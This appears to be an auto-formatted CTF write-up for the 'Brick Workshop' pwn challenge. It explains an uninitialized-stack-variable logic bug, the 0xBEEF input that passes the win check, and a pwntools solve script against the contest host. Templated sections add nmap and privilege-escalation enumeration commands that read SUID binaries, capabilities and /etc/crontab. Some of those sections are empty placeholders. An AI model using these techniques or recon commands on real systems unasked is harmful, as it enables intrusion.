Brick Workshop
Brick Workshop
Platform: Umasscybersec | Category: Pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-11 | Status: Solved Techniques: algebraic_input_selection, stale_stack_value_reuse, stateful_menu_logic_abuse
Summary
Task: an amd64 menu service stores calibration integers in stack locals inside workshop_turn() and later reuses them after a state change. Solution: trigger diagnostics once to seed stale stack values, choose pigment 0xBEEF, then invoke diagnostics again so the uninitialized reuse satisfies the win check.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
umasscybersec| ID:20260411_umasscybersec_brick_workshop - Tags: logic_bug, uninitialized_stack, stack_reuse, amd64, non_pie
- Indicators: Local variables are declared in a looped function and only initialized on one branch, A first-run flag changes program state but later code still uses stack locals from a previous call, The success check is a simple arithmetic expression over previously entered integers, Re-entering the same menu action triggers validation without collecting fresh input
- Source:
20260411_umasscybersec_brick_workshop.md
Foothold
Vulnerability / Misconfiguration
- Algebraic_input_selection
- Stale_stack_value_reuse
- Stateful_menu_logic_abuse
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- algebraic_input_selection
- stale_stack_value_reuse
- stateful_menu_logic_abuse
- Tags: logic_bug, uninitialized_stack, stack_reuse, amd64, non_pie
Original Writeup
<details><summary>Click to expand original content</summary>Description
Provided challenge materials:
bad_eraser,bad_eraser.c,Dockerfile,Makefile, and the remote servicenc bad-eraser-brick-workshop.pwn.ctf.umasscybersec.org 45002.
English summary: this was a small amd64 menu binary themed as a brick workshop. The goal was to review the control flow, find how the hidden win() condition could be reached, and retrieve the flag from the remote service.
Service:
nc bad-eraser-brick-workshop.pwn.ctf.umasscybersec.org 45002
Challenge Summary
This was not a classic memory-corruption pwn with a buffer overflow or ROP chain. The binary was an amd64 ELF, dynamically linked, non-PIE, NX enabled, no canary, partial RELRO, and not stripped, but the real issue was a logic bug caused by uninitialized stack variables.
The exploit path was just:
- Choose menu option
3 - Enter
0 48879 - Choose menu option
3again
That second diagnostics call reused stale stack values from the previous call and immediately hit win().
Recon / Code Review
The important code lives in workshop_turn():
static void workshop_turn(void) {
int choice;
unsigned int mold_id;
unsigned int pigment_code;
banner();
if (scanf("%d", &choice) != 1) {
exit(0);
}
...
if (!service_initialized) {
puts("First-time calibration required.");
puts("Enter mold id and pigment code.");
if (scanf("%u %u", &mold_id, &pigment_code) != 2) {
exit(0);
}
puts("Calibration saved. Re-enter diagnostics for clutch validation.");
service_initialized = 1;
return;
}
diagnostics_bay(mold_id, pigment_code);
}
The hidden success path is in diagnostics_bay():
static unsigned int clutch_score(unsigned int mold_id, unsigned int pigment_code) {
return (((mold_id >> 2) & 0x43u) | pigment_code) + (pigment_code << 1);
}
static void diagnostics_bay(unsigned int mold_id, unsigned int pigment_code) {
puts("Running clutch-power diagnostics...");
if (clutch_score(mold_id, pigment_code) == 0x23ccdu) {
win();
}
puts("Result: unstable clutch fit. Send batch back to sorting.");
exit(0);
}
Vulnerability Explanation
The bug is use of uninitialized stack variables.
mold_id and pigment_code are local variables inside workshop_turn(). They are initialized only in the first diagnostics path:
- first
option 3call:scanf("%u %u", &mold_id, &pigment_code); service_initialized = 1; return; - second
option 3call:diagnostics_bay(mold_id, pigment_code);
On the second visit, the function declares the same locals again but does not assign them before using them. Because workshop_turn() is called repeatedly in a loop, the new stack frame reuses the same stack area, so the previous calibration values are still sitting there. In practice, the second call forwards those stale values into diagnostics_bay().
So this is a state bug:
- a global flag says the service is initialized
- the code assumes the old calibration data still exists
- but that data only lived in stack locals from the previous function call
Exploit Strategy
We need:
clutch_score(mold_id, pigment_code) == 0x23CCD
with:
clutch_score(mold_id, pigment_code) = (((mold_id >> 2) & 0x43) | pigment_code) + (pigment_code << 1)
The chosen input is:
- first menu choice:
3 - calibration input:
0 48879 - second menu choice:
3
Why 48879 works:
48879 == 0xBEEF((mold_id >> 2) & 0x43)can only contribute values in{0,1,2,3,64,65,66,67}- OR-ing any of those values with
0xBEEFstill gives0xBEEF - so the first term becomes exactly
0xBEEF
Therefore:
clutch_score = 0xBEEF + 2*0xBEEF = 3*0xBEEF = 0x23CCD
This means the stale pigment_code alone is enough to satisfy the check. mold_id can be 0 because the mask contribution is irrelevant after the OR.
Minimal Solve Script
#!/usr/bin/env python3
from pwn import *
HOST = "bad-eraser-brick-workshop.pwn.ctf.umasscybersec.org"
PORT = 45002
def main():
io = remote(HOST, PORT)
io.sendlineafter(b"> ", b"3")
io.sendlineafter(b"Enter mold id and pigment code.\n", b"0 48879")
io.sendlineafter(b"> ", b"3")
print(io.recvall(timeout=2).decode(errors="replace"))
if __name__ == "__main__":
main()
Sample Remote Output
Running clutch-power diagnostics...
Master Builder status unlocked!
UMASS{REDACTED}
</details>
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR